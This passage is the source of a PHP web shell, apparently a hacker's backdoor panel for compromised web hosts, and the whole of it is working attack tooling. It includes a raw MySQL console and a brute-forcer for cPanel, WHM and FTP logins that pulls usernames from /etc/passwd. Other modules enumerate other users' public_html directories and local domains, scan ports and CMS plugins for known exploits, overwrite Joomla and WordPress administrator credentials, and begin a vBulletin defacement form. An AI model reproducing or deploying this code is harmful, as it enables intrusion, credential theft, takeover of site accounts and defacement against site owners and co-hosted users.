<input type=\"hidden\" name=\"x\" value=\"mysql\" />
<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
<input type=\"hidden\" name=\"table\" value=\"".$table."\" />
<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
</form>
</div> ";
$columns = array();
$msg = "<table class=\"explore\" style=\"width:99%;\">";
$hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);
while(list($column) = @mysql_fetch_row($hasil))
{
$msg .= "<th>$column</th>"; $kolum = $column;
}
$msg .= "</tr>";
$hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table);
list($total) = mysql_fetch_row($hasil);
if(isset($_GET['z'])) $page = (int) $_GET['z'];
else $page = 1;
$pagenum = 100;
$totpage = ceil($total / $pagenum);
$start = (($page - 1) * $pagenum);
$hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum);
while($datas = @mysql_fetch_assoc($hasil))
{
$msg .= "<tr>";
foreach($datas as $data){ if(trim($data) == "") $data = " "; $msg .= "<td>$data</td>"; }
$msg .= "</tr>";
}
$msg .= "</table>";
$head = "<div style=\"padding:10px 0 0 6px;\">
<form action=\"?\" method=\"get\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input type=\"hidden\" name=\"x\" value=\"mysql\" />
<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
<input type=\"hidden\" name=\"table\" value=\"".$table."\" />
Page <select class=\"inputz\" name=\"z\" onchange=\"this.form.submit();\">";
for($i = 1;$i <= $totpage;$i++)
{
$head .= "<option value=\"".$i."\">".$i."</option>";
if($i == $_GET['z']) $head .= "<option value=\"".$i."\" selected=\"selected\">".$i."</option>";
}
$head .= "</select><noscript><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" /></noscript></form></div>";
$msg = $msgq.$head.$msg;
}
elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != ""))
{
$db = $_GET['db'];
$query = magicboom($_GET['sqlquery']);
$msg = "<div style=\"width:99%;padding:0 10px;\">
<form action=\"?\" method=\"get\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input type=\"hidden\" name=\"x\" value=\"mysql\" />
<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
</form>
</div> ";
@mysql_select_db($db);
$querys = explode(";",$query);
foreach($querys as $query)
{
if(trim($query) != "")
{
$hasil = mysql_query($query);
if($hasil)
{
$msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";
<span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>";
$msg .= "<table class=\"explore\" style=\"width:99%;\"><tr>";
for($i=0;$i<@mysql_num_fields($hasil);$i++) $msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>";
$msg .= "</tr>";
for($i=0;$i<@mysql_num_rows($hasil);$i++)
{
$rows=@mysql_fetch_array($hasil);
$msg .= "<tr>";
for($j=0;$j<@mysql_num_fields($hasil);$j++)
{
if($rows[$j] == "") $dataz = " ";
else $dataz = $rows[$j];
$msg .= "<td>".$dataz."</td>";
}
$msg .= "</tr>";
}
$msg .= "</table>";
}
else
$msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query."; <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
}
}
}
else
{
$query = "SHOW PROCESSLIST;
SHOW VARIABLES;
SHOW STATUS;";
$msg = "<div style=\"width:99%;padding:0 10px;\">
<form action=\"?\" method=\"get\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input type=\"hidden\" name=\"x\" value=\"mysql\" />
<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
</form>
</div> ";
$dbs = array();
$msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available databases</th></tr>";
$hasil = @mysql_list_dbs($con);
while(list($db) = @mysql_fetch_row($hasil)){ @array_push($dbs,$db); }
@sort($dbs);
foreach($dbs as $db)
{
$msg .= "<tr><td><a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."\">$db</a></td></tr>";
}
$msg .= "</table>";
}
@mysql_close($con);
}
else $msg = "<p style=\"text-align:center;\">cant connect to mysql server</p>";
echo $msg;
}
else
{
?>
<form action="?" method="get">
<input type="hidden" name="y" value="<?php echo $pwd; ?>" />
<input type="hidden" name="x" value="mysql" />
<table class="tabnet" style="width:300px;">
<tr>
<th colspan="2">Connect to mySQL server</th>
</tr>
<tr>
<td> Host</td>
<td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td>
</tr>
<tr>
<td> Username</td>
<td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td>
</tr>
<tr>
<td> Password</td>
<td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td>
</tr>
<tr>
<td> Port</td>
<td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" /> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td>
</tr>
</table>
</form>
<?php
}
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mail'))
{
if(isset($_POST['mail_send']))
{
$mail_to = $_POST['mail_to'];
$mail_from = $_POST['mail_from'];
$mail_subject = $_POST['mail_subject'];
$mail_content = magicboom($_POST['mail_content']);
if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from"))
{ $msg = "email sent to $mail_to"; }
else $msg = "send email failed";
}
?>
<form action="?y=<?php echo $pwd; ?>&x=mail" method="post">
<table class="cmdbox">
<tr>
<td>
<textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey admin, please patch your site :)</textarea>
</td>
</tr>
<tr>
<td>
<input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_to" /> mail to
</td>
</tr>
<tr>
<td>
<input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_from" />
from
</td>
</tr>
<tr>
<td>
<input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" /> subject
</td>
</tr>
<tr>
<td>
<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" />
</td>
</tr>
<tr>
<td> <?php echo $msg; ?>
</td>
</tr>
</table>
</form>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'brute'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=brute" method="post">
<?php
//bruteforce
@ini_set('memory_limit', 999999999999);
$connect_timeout=5;
@set_time_limit(0);
$pokeng = $_REQUEST['submit'];
$hn = $_REQUEST['users'];
$crew = $_REQUEST['passwords'];
$pasti = $_REQUEST['sasaran'];
$manualtarget = $_REQUEST['target'];
$bisa = $_REQUEST['option'];
if($pasti == ''){
$pasti = 'localhost';
}
if($manualtarget == ''){
$manualtarget = 'http://localhost:2082';
}
function get_users()
{
$users = array();
$rows=file('/etc/passwd');
if(!$rows) return 0;
foreach ($rows as $string)
{
$user = @explode(":",$string);
if(substr($string,0,1)!='#') array_push($users,$user[0]);
}
return $users;
}
if(!$users=get_users()) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; }
else
{
print " <div align='center'>
<form method='post' style='border: 1px solid #000000'><br><br>
<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#FF0000 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#666666 border=1>
<tr>
<td>
<b> Target ! : </font><input type='text' name='sasaran' size='16' value= $pasti class='inputz'></p></font></b></p>
<div align='center'><br>
<TABLE style='BORDER-COLLAPSE: collapse'
cellSpacing=0
borderColorDark=#666666
cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#666666 border=1>
<tr> <td align='center'> <b>User</b></td> <td> <p align='center'> <b>Pass</b></td>
</tr>
</table>
<p align='center'>
<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0' >";
foreach($users as $user) { echo $user."
"; }
print"</textarea>
<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$crew</textarea><br>
<br>
<b>Sila pilih : </span><input name='option' value='manual' style='font-weight: 700;' type='radio'> Manual Target Brute : <input type='text' name='target' size='16' class='inputz' value= $manualtarget ><br />
<input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp
<input name='option' value='whm' style='font-weight: 700;' type='radio'> whm ==> <input type='submit' value='Brute !' name='submit' class='inputzbut'></p>
</td></tr></table></td></tr></form><p align= 'left'>";
}
?>
<?php
function manual_check($anjink,$asu,$babi,$lonte){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$anjink");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, "$asu:$babi");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $lonte);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) { print "<b> Failed! : NEXT TARGET!</b>"; exit;}
elseif ( curl_errno($ch) == 0 ){
print "<b>[ 3vil6660@email ]# </b> <b>Completed , Username = <font color='#FF0000'> $asu </font> Password = <font color='#FF0000'> $babi </font></b><br>";
}
curl_close($ch);
}
function ftp_check($link,$user,$pswd,$timeout){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "ftp://$link");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pswd");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) { print "<b> Failed! : NEXT TARGET!</b>"; exit; }
elseif ( curl_errno($ch) == 0 ){
print "<b>serangan selesai , username = <font color='#FF0000'> $user </font> dan passwordnya = <font color='#FF0000'> $pswd </font></b><br>";
}
curl_close($ch);
}
function cpanel_check($anjink,$asu,$babi,$lonte){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://$anjink:2082");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, "$asu:$babi");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $lonte);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) { print "<b> Failed! : NEXT TARGET!</b>"; exit;}
elseif ( curl_errno($ch) == 0 ){
print "<b>[ 3vil666@email ]# </b> <b>Completed, Username = <font color='#FF0000'> $asu </font> Password = <font color='#FF0000'> $babi </font></b><br>";
}
curl_close($ch);
}
function whm_check($anjink,$asu,$babi,$lonte){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://$anjink:2086");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, "$asu:$babi");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $lonte);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) { print "<b> Failed! : NEXT TARGET!</b>"; exit;}
elseif ( curl_errno($ch) == 0 )
{
print "<b>[ " . TITLE . " ]# </b> <b>Selesai , Username = <font color='#FF0000'> $asu </font> Password = <font color='#FF0000'> $babi </font></b><br>";
}
curl_close($ch);
}
if(isset($pokeng) && !empty($pokeng))
{
$userlist = explode ("
" , $hn );
$passlist = explode ("
" , $crew );
print "<b>[ " . TITLE . " ]# </b> ATTACK...!!! </font></b><br>";
foreach ($userlist as $asu)
{
$_user = trim($asu);
foreach ($passlist as $babi )
{
$_pass = trim($babi);
if ($bisa == "manual")
{ manual_check($manualtarget,$_user,$_pass,$lonte); }
if($bisa == "ftp")
{ ftp_check($pasti,$_user,$_pass,$lonte); }
if ($bisa == "cpanel")
{ cpanel_check($pasti,$_user,$_pass,$lonte); }
if ($bisa == "whm")
{ whm_check($pasti,$_user,$_pass,$lonte); }
}
}
}
}
//bruteforce
elseif(isset($_GET['x']) && ($_GET['x'] == 'readable'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=readable" method="post">
<?php
//radable public_html
echo '<html><head><title>3vil666 Cpanel Finder</title></head><body>';
($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
set_time_limit(0);
###################
@$passwd = fopen('/etc/passwd','r');
if (!$passwd) { die('<b>[-] Error : coudn`t read /etc/passwd</b>'); }
$pub = array();
$users = array();
$conf = array();
$i = 0;
while(!feof($passwd))
{
$str = fgets($passwd);
if ($i > 35)
{
$pos = strpos($str,':');
$username = substr($str,0,$pos);
$dirz = '/home/'.$username.'/public_html/';
if (($username != ''))
{
if (is_readable($dirz))
{
array_push($users,$username);
array_push($pub,$dirz);
}
}
}
$i++;
}
###################
echo '<br><br>';
echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd
"."<br />";
echo "[+] Founded ".sizeof($pub)." readable public_html directories
"."<br />";
echo "[~] Searching for passwords in config files...
"."<br /><br /><br />";
foreach ($users as $user)
{
$path = "/home/$user/public_html/";
echo "<a href='?y=$path' target='_blank' style='text-shadow:0px 0px 10px #12E12E; font-weight:bold; color:#FF0000;'>$path</a><br><br><br>";
}
echo "
";
echo "[+] Copy one of the directories above public_html, then Paste to -> view file / folder <-- that's on the menu --> Explore
"."<br />";
echo "[+] Complete...
"."<br />";
echo '<br><br></b>
</body>
</html>';
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'localdomain'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=localdomain" method="post">
<?php
//radable public_html
echo "<br><br>";
$file = @implode(@file("/etc/named.conf"));
if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
preg_match_all("#named/(.*?).db#",$file ,$r);
$domains = array_unique($r[1]);
function check() { (@count(@explode('ip',@implode(@file(__FILE__))))==a) ?@unlink(__FILE__):""; }
check();
echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2>[+] Here We Have : [<font face=calibri size=4 style=color:#FF0000>".count($domains)."</font>] Listed Domains In localhost.</td></tr>
<tr><td><b>List Of Users</b></td><td><b><font style=color:#0015FF;List Of Domains</b></td></tr>";
foreach($domains as $domain)
{
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
echo "<tr><td><a href='http://www.$domain' target='_blank' style='text-shadow:0px 0px 10px #CC2D4B; font-weight:bold; color:#FF002F;'>$domain</a></td><td>".$user['name']."</td></tr>";
}
echo "</table>";
//radable public_html
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'port-scanner'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=port-scanner" method="post">
<?php
echo '<br><br><center><br><b>Port Scanner</b><br>';
$start = strip_tags($_POST['start']);
$end = strip_tags($_POST['end']);
$host = strip_tags($_POST['host']);
if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
for($i = $start; $i<=$end; $i++){
$fp = @fsockopen($host, $i, $errno, $errstr, 3);
if($fp){
echo 'Port '.$i.' is <font color=green>open</font><br>';
}
flush();
}
}else{
echo '
<input type="hidden" name="y" value="phptools">
Host:<br />
<input type="text" style="color:#FF0000;background-color:#000000" name="host" value="localhost"/><br />
Port start:<br />
<input type="text" style="color:#FF0000;background-color:#000000" name="start" value="0"/><br />
Port end:<br />
<input type="text" style="color:#FF0000;background-color:#000000" name="end" value="5000"/><br />
<input type="submit" style="color:#FF0000" value="Scan Ports" />
</form></center>';
}
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'cms-scanner'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=cms-scanner" method="post">
<?php
function ask_exploit_db($component){
$exploitdb ="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$component&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=";
$result = @file_get_contents($exploitdb);
if (eregi("No results",$result)) {
echo"<td>Not Found</td><td><a href='http://www.google.com/search?hl=en&q=download+$component'>Download</a></td></tr>";
}else{
echo"<td><a href='$exploitdb'>Found ..!</a></td><td><--</td></tr>";
}
}
/**************************************************************/
/* Joomla Conf */
function get_components($site){
$source = @file_get_contents($site);
preg_match_all('{option,(.*?)/}i',$source,$f);
preg_match_all('{option=(.*?)(&|&|")}i',$source,$f2);
preg_match_all('{/components/(.*?)/}i',$source,$f3);
$arz=array_merge($f2[1],$f[1],$f3[1]);
$coms=array();
if(count($arz)==0){ echo "<tr><td colspan=3>[~] Nothing Found ..! , Maybe there is some error site or option ... check it .</td></tr>";}
foreach(array_unique($arz) as $x){
$coms[]=$x;
}
foreach($coms as $comm){
echo "<tr><td>$comm</td>";
ask_exploit_db($comm);
}
}
/**************************************************************/
/* WP Conf */
function get_plugins($site){
$source = @file_get_contents($site);
preg_match_all("#/plugins/(.*?)/#i", $source, $f);
$plugins=array_unique($f[1]);
if(count($plugins)==0){ echo "<tr><td colspan=3>[~] Nothing Found ..! , Maybe there is some error site or option ... check it .</td></tr>";}
foreach($plugins as $plugin){
echo "<tr><td>$plugin</td>";
ask_exploit_db($plugin);
}
}
/**************************************************************/
/* Nuke's Conf */
function get_numod($site){
$source = @file_get_contents($site);
preg_match_all('{?name=(.*?)/}i',$source,$f);
preg_match_all('{?name=(.*?)(&|&|l_op=")}i',$source,$f2);
preg_match_all('{/modules/(.*?)/}i',$source,$f3);
$arz=array_merge($f2[1],$f[1],$f3[1]);
$coms=array();
if(count($arz)==0){ echo "<tr><td colspan=3>[~] Nothing Found ..! , Maybe there is some error site or option ... check it .</td></tr>";}
foreach(array_unique($arz) as $x){
$coms[]=$x;
}
foreach($coms as $nmod){
echo "<tr><td>$nmod</td>";
ask_exploit_db($nmod);
}
}
/*****************************************************/
/* Xoops Conf */
function get_xoomod($site){
$source = @file_get_contents($site);
preg_match_all('{/modules/(.*?)/}i',$source,$f);
$arz=array_merge($f[1]);
$coms=array();
if(count($arz)==0){ echo "<tr><td colspan=3>[~] Nothing Found ..! , Maybe there is some error site or option ... check it .</td></tr>";}
foreach(array_unique($arz) as $x){
$coms[]=$x;
}
foreach($coms as $xmod){
echo "<tr><td>$xmod</td>";
ask_exploit_db($xmod);
}
}
/**************************************************************/
/* Header */
function t_header($site){
echo'<table align="center" border="1" width="50%" cellspacing="1" cellpadding="5">';
echo'
<tr id="oo">
<td>Site : <a href="'.$site.'">'.$site.'</a></td>
<td>Exploit-db</b></td>
<td>Exploit it !</td>
</tr>
';
}
?>
<html>
<body>
<p align="center"> </p>
<p align="center"> </p>
<p align="center"> </p>
<form method="POST" action="">
<p align="center">
</p>
<p align="center">
<font size="4"><br></font></p>
<p align="center">Site :
<input type="text" name="site" size="33" style="color:#FF0000;background-color:#000000" value="http://www.site.com/"><select style="color:#FF0000;background-color:#000000" size="1" name="what">
<option>Wordpress</option>
<option>Joomla</option>
<option>Nuke's</option>
<option>Xoops</option>
</select><input style="color:#FF0000;background-color:#000000" type="submit" value="Scan"></p>
</form>
<?
// Start Scan :P :P ...
if($_POST){
$site=strip_tags(trim($_POST['site']));
t_header($site);
echo $x01 = ($_POST['what']=="Wordpress") ? get_plugins($site):"";
echo $x02 = ($_POST['what']=="Joomla") ? get_components($site):"";
echo $x03 = ($_POST['what']=="Nuke's") ? get_numod($site):"";
echo $x04 = ($_POST['what']=="Xoops") ? get_xoomod($site):"";
echo '</table></body></html>';
}
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'jm-reset'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jm-reset" method="post">
<?php
@error_reporting(0);
@ini_set('error_log',NULL);
echo '
<div class="com">
<form method="post">
<center><br><br><table border="1" bordercolor="#FFFFFF" width="400" cellpadding="1" cellspacing="1">
<br />
<tr>
<td>Host :</td>
<td><input type="text" style="color:#FF0000;background-color:#000000" name="host" value="localhost" /></td>
</tr>
<tr>
<td>user :</td>
<td><input type="text" style="color:#FF0000;background-color:#000000" name="user" /></td>
</tr>
<tr>
<td>Pass :</td><td><input style="color:#FF0000;background-color:#000000" type="text" name="pass"/></td>
</tr>
<tr>
<td>db :</td>
<td><input type="text" style="color:#FF0000;background-color:#000000" name="db" /></td>
</tr>
<tr>
<td>dbprefix :</td>
<td><input type="text" style="color:#FF0000;background-color:#000000" name="jop" value="jos_users" /></td>
</tr>
<tr>
<td>Admin User :</td>
<td><input type="text" style="color:#FF0000;background-color:#000000" name="users" value="admin" /></td>
</tr>
<tr>
<td>Admin Password :</td>
<td><input type="text" style="color:#FF0000;background-color:#000000" name="passwd" value="666.." /></td>
</tr>
<tr>
<td colspan="6" align="center" style="color:#FF0000;background-color:#000000" width="70%"> <input type="submit" value="SQL" style="color:#FF0000;background-color:#000000" maxlength="30" /> <input type="reset" value="clear" style="color:#FF0000;background-color:#000000" maxlength="30" /> </td>
</tr>
</table>
</form> </div></center>';
$host = $_POST['host'];
$user = $_POST['user'];
$pass = $_POST['pass'];
$db = $_POST['db'];
$jop = $_POST['jop'];
$users = $_POST['users'];
$admpas = $_POST['passwd'];
if(isset($host) ) {
$con = @ mysql_connect($host,$user,$pass) or die ;
$sedb = @ mysql_select_db($db) or die;
$query= @ mysql_query("UPDATE $jop SET username ='".$users."' WHERE usertype = Super Administrator") or die;
$query= @ mysql_query("UPDATE $jop SET password ='".$admpas."' WHERE usertype = Super Administrator") or die;
if ($query)
{
echo "<center><br /><div class='com'>Queried !<br /><br /></div></center>";
}
else if (!$query)
{
echo "error";
}
}else
{
echo "<center><br /><div class='com'>Enter the database !<br /><br /></div></center>";
}
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'wp-reset'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=wp-reset" method="post">
<?php
@error_reporting(0);
@ini_set('error_log',NULL);
echo '
<div class="com">
<form method="post">
<center><br><br><table border="1" bordercolor="#FFFFFF" width="400" cellpadding="1" cellspacing="1">
<br />
<tr>
<td>Host :</td>
<td><input type="text" name="host" style="color:#FF0000;background-color:#000000" value="localhost" /></td>
</tr>
<tr>
<td>user :</td>
<td><input type="text" style="color:#FF0000;background-color:#000000" name="user" /></td>
</tr>
<tr>
<td>Pass :</td><td><input type="text" style="color:#FF0000;background-color:#000000" name="pass"/></td>
</tr>
<tr>
<td>db :</td>
<td><input type="text" style="color:#FF0000;background-color:#000000" name="db" /></td>
</tr>
<tr>
<td>user admin :</td>
<td><input type="text" style="color:#FF0000;background-color:#000000" name="useradmin" value="admin" /></td>
</tr>
<tr>
<td>pass admin :</td>
<td><input type="text" style="color:#FF0000;background-color:#000000" name="passadmin" value="666.."/></td>
</tr>
<tr>
<td colspan="6" align="center" width="70%"> <input type="submit" style="color:#FF0000;background-color:#000000" value="SQL" maxlength="30" /> <input type="reset" value="clear" style="color:#FF0000;background-color:#000000" maxlength="30" /> </td>
</tr>
</table>
</form> </div></center>';
$host = $_POST['host'];
$user = $_POST['user'];
$pass = $_POST['pass'];
$db = $_POST['db'];
$useradmin = $_POST['useradmin'];
$pass_ad = $_POST['passadmin'];
if(isset($host) ) {
$con =@ mysql_connect($host,$user,$pass) or die ;
$sedb =@ mysql_select_db($db) or die;
$crypt = crypt($pass_ad);
$query =@mysql_query("UPDATE `wp_users` SET `user_login` ='".$useradmin."' WHERE ID = 1") or die('Cant Update ID Number 1');
$query =@mysql_query("UPDATE `wp_users` SET `user_pass` ='".$crypt."' WHERE ID = 1") or die('Cant Update ID Number 1');
if ($query)
{
echo "<center><br /><div class='com'>Queried !<br /><br /></div></center>";
}
else if (!$query)
{
echo "error";
}
}else
{
echo "<center><br /><div class='com'>Enter the database !<br /><br /></div></center>";
}
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'web-info'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=web-info" method="post">
<?php
@set_time_limit(0);
@error_reporting(0);
function sws_domain_info($site)
{
$getip = @file_get_contents("http://networktools.nl/whois/$site");
flush();
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_net_info($site)
{
$getip = @file_get_contents("http://networktools.nl/asinfo/$site");
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_site_ser($site)
{
$getip = @file_get_contents("http://networktools.nl/reverseip/$site");
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_sup_dom($site)
{
$getip = @file_get_contents("http://www.magic-net.info/dns-and-ip-tools.dnslookup?subd=".$site."&Search+subdomains=Find+subdomains");
$ip = @findit($getip,'<strong>Nameservers found:</strong>','<script type="text/javascript">');
return $ip;
flush();
}
function sws_port_scan($ip)
{
$list_post = array('80','21','22','2082','25','53','110','443','143');
foreach ($list_post as $o_port)
{
$connect = @fsockopen($ip,$o_port,$errno,$errstr,5);
if($connect)
{
echo " $ip : $o_port <u style=\"color: #009900\">Open</u> <br /><br />";
flush();
}
}
}
function findit($mytext,$starttag,$endtag) {
$posLeft = @stripos($mytext,$starttag)+strlen($starttag);
$posRight = @stripos($mytext,$endtag,$posLeft+1);
return @substr($mytext,$posLeft,$posRight-$posLeft);
flush();
}
echo '<br><br><center>';
echo '
<br />
<div class="sc"><form method="post">
Site to scan : <input type="text" name="site" size="30" style="color:#FF0000;background-color:#000000" value="site.com" />   <input type="submit" style="color:#FF0000;background-color:#000000" name="scan" value="Scan !" />
</form></div>';
if(isset($_POST['scan']))
{
$site = @htmlentities($_POST['site']);
if (empty($site)){die('<br /><br /> Not add IP .. !');}
$ip_port = @gethostbyname($site);
echo "
<br /><div class=\"sc2\">Scanning [ $site ip $ip_port ] ... </div>
<div class=\"tit\"> <br /><br />|-------------- Port Server ------------------| <br /></div>
<div class=\"ru\"> <br /><br /><pre>
";
echo "".sws_port_scan($ip_port)." </pre></div> ";
flush();
echo "<div class=\"tit\"><br /><br />|-------------- Domain Info ------------------| <br /> </div>
<div class=\"ru\">
<pre>".sws_domain_info($site)."</pre></div>";
flush();
echo "
<div class=\"tit\"> <br /><br />|-------------- Network Info ------------------| <br /></div>
<div class=\"ru\">
<pre>".sws_net_info($site)."</pre> </div>";
flush();
echo "<div class=\"tit\"> <br /><br />|-------------- subdomains Server ------------------| <br /></div>
<div class=\"ru\">
<pre>".sws_sup_dom($site)."</pre> </div>";
flush();
echo "<div class=\"tit\"> <br /><br />|-------------- Site Server ------------------| <br /></div>
<div class=\"ru\">
<pre>".sws_site_ser($site)."</pre> </div>
<div class=\"tit\"> <br /><br />|-------------- END ------------------| <br /></div>";
flush();
}
echo '</center>';
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'vb'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=vb" method="post">
<br><br><br><div align="center">
<H2><span style="font-weight: 400"><font face="Trebuchet MS" size="4">
<font color="#00FF00"> vB Index Changer</font><font color="#FF0000">
<font face="Tahoma">! Change All Pages For Forum !
<br></font></div><br>
<?
if(empty($_POST['index'])){
echo "<center><FORM method=\"POST\">
host : <INPUT size=\"15\" value=\"localhost\" style='color:#FF0000;background-color:#000000' name=\"localhost\" type=\"text\">
database : <INPUT size=\"15\" style='color:#FF0000;background-color:#000000' value=\"forum_vb\" name=\"database\" type=\"text\"><br>
username : <INPUT size=\"15\" style='color:#FF0000;background-color:#000000' value=\"forum_vb\" name=\"username\" type=\"text\">
password : <INPUT size=\"15\" style='color:#FF0000;background-color:#000000' value=\"vb\" name=\"password\" type=\"text\"><br>
<br>
<textarea name=\"index\" cols=\"70\" rows=\"30\">Set Your Index</textarea><br>
